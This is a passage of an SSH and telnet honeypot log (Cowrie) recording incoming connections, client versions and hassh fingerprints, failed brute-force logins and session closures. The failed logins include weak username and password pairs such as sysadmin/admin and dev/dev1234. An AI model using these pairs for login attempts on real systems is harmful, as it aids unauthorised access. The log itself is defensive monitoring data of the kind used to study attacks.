ha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:57.636602Z","src_ip":"159.203.92.129","session":"b0870ba77073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"4","password":"123","message":"login attempt [4/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:57.647872Z","src_ip":"159.203.92.129","session":"b0870ba77073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:58:58.654379Z","src_ip":"159.203.92.129","session":"b0870ba77073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51110,"dst_ip":"159.203.135.109","dst_port":22,"session":"491081200f57","protocol":"ssh","message":"New connection: 159.203.92.129:51110 (159.203.135.109:22) [session: 491081200f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:59:36.731029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:59:36.736074Z","src_ip":"159.203.92.129","session":"491081200f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:59:36.740681Z","src_ip":"159.203.92.129","session":"491081200f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"4","password":"123456","message":"login attempt [4/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:59:36.751186Z","src_ip":"159.203.92.129","session":"491081200f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:59:37.758074Z","src_ip":"159.203.92.129","session":"491081200f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34346,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba1f195aae9","protocol":"ssh","message":"New connection: 37.143.61.84:34346 (159.203.135.109:22) [session: 1ba1f195aae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:59:53.980282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:59:54.390357Z","src_ip":"37.143.61.84","session":"1ba1f195aae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:59:54.481304Z","src_ip":"37.143.61.84","session":"1ba1f195aae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"admin","message":"login attempt [sysadmin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:59:59.290697Z","src_ip":"37.143.61.84","session":"1ba1f195aae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:00.491405Z","src_ip":"37.143.61.84","session":"1ba1f195aae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.15.230.213","src_port":45360,"dst_ip":"10.17.0.5","dst_port":23,"session":"791c4cc92fed","protocol":"telnet","message":"New connection: 47.15.230.213:45360 (10.17.0.5:23) [session: 791c4cc92fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:11.363792Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52548,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a124781533b","protocol":"ssh","message":"New connection: 159.203.92.129:52548 (159.203.135.109:22) [session: 8a124781533b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:19.537978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:19.558883Z","src_ip":"159.203.92.129","session":"8a124781533b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:19.562960Z","src_ip":"159.203.92.129","session":"8a124781533b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"4","password":"4","message":"login attempt [4/4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:19.673077Z","src_ip":"159.203.92.129","session":"8a124781533b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:20.777150Z","src_ip":"159.203.92.129","session":"8a124781533b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.78070878982544,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:25.144222Z","src_ip":"47.15.230.213","session":"791c4cc92fed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":44782,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8b04412258e","protocol":"ssh","message":"New connection: 80.94.92.186:44782 (159.203.135.109:22) [session: e8b04412258e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:53.032445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:53.101797Z","src_ip":"80.94.92.186","session":"e8b04412258e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:53.248520Z","src_ip":"80.94.92.186","session":"e8b04412258e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:54.058998Z","src_ip":"80.94.92.186","session":"e8b04412258e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:00:55.277117Z","src_ip":"80.94.92.186","session":"e8b04412258e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40352,"dst_ip":"159.203.135.109","dst_port":22,"session":"79925b706bb4","protocol":"ssh","message":"New connection: 159.203.92.129:40352 (159.203.135.109:22) [session: 79925b706bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:00.875726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:00.880856Z","src_ip":"159.203.92.129","session":"79925b706bb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:00.885881Z","src_ip":"159.203.92.129","session":"79925b706bb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"5","password":"123","message":"login attempt [5/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:00.901986Z","src_ip":"159.203.92.129","session":"79925b706bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:01.962445Z","src_ip":"159.203.92.129","session":"79925b706bb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.135.20.203","src_port":39420,"dst_ip":"10.17.0.5","dst_port":23,"session":"b11fa829fa60","protocol":"telnet","message":"New connection: 66.135.20.203:39420 (10.17.0.5:23) [session: b11fa829fa60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:16.073118Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57510,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e72a2b6ae1","protocol":"ssh","message":"New connection: 159.203.92.129:57510 (159.203.135.109:22) [session: 96e72a2b6ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:42.664903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:42.685138Z","src_ip":"159.203.92.129","session":"96e72a2b6ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:42.689170Z","src_ip":"159.203.92.129","session":"96e72a2b6ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"5","password":"123456","message":"login attempt [5/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:42.711130Z","src_ip":"159.203.92.129","session":"96e72a2b6ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:43.718142Z","src_ip":"159.203.92.129","session":"96e72a2b6ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.02618670463562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:47.099127Z","src_ip":"66.135.20.203","session":"b11fa829fa60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":36954,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7f467ba99b8","protocol":"ssh","message":"New connection: 103.228.69.212:36954 (159.203.135.109:22) [session: f7f467ba99b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:52.744899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:52.749496Z","src_ip":"103.228.69.212","session":"f7f467ba99b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:53.477813Z","src_ip":"103.228.69.212","session":"f7f467ba99b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev1234","message":"login attempt [dev/dev1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:54.431760Z","src_ip":"103.228.69.212","session":"f7f467ba99b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:01:55.666105Z","src_ip":"103.228.69.212","session":"f7f467ba99b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34410,"dst_ip":"159.203.135.109","dst_port":22,"session":"abce91828606","protocol":"ssh","message":"New connection: 37.143.61.84:34410 (159.203.135.109:22) [session: abce91828606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:02:18.479307Z"}
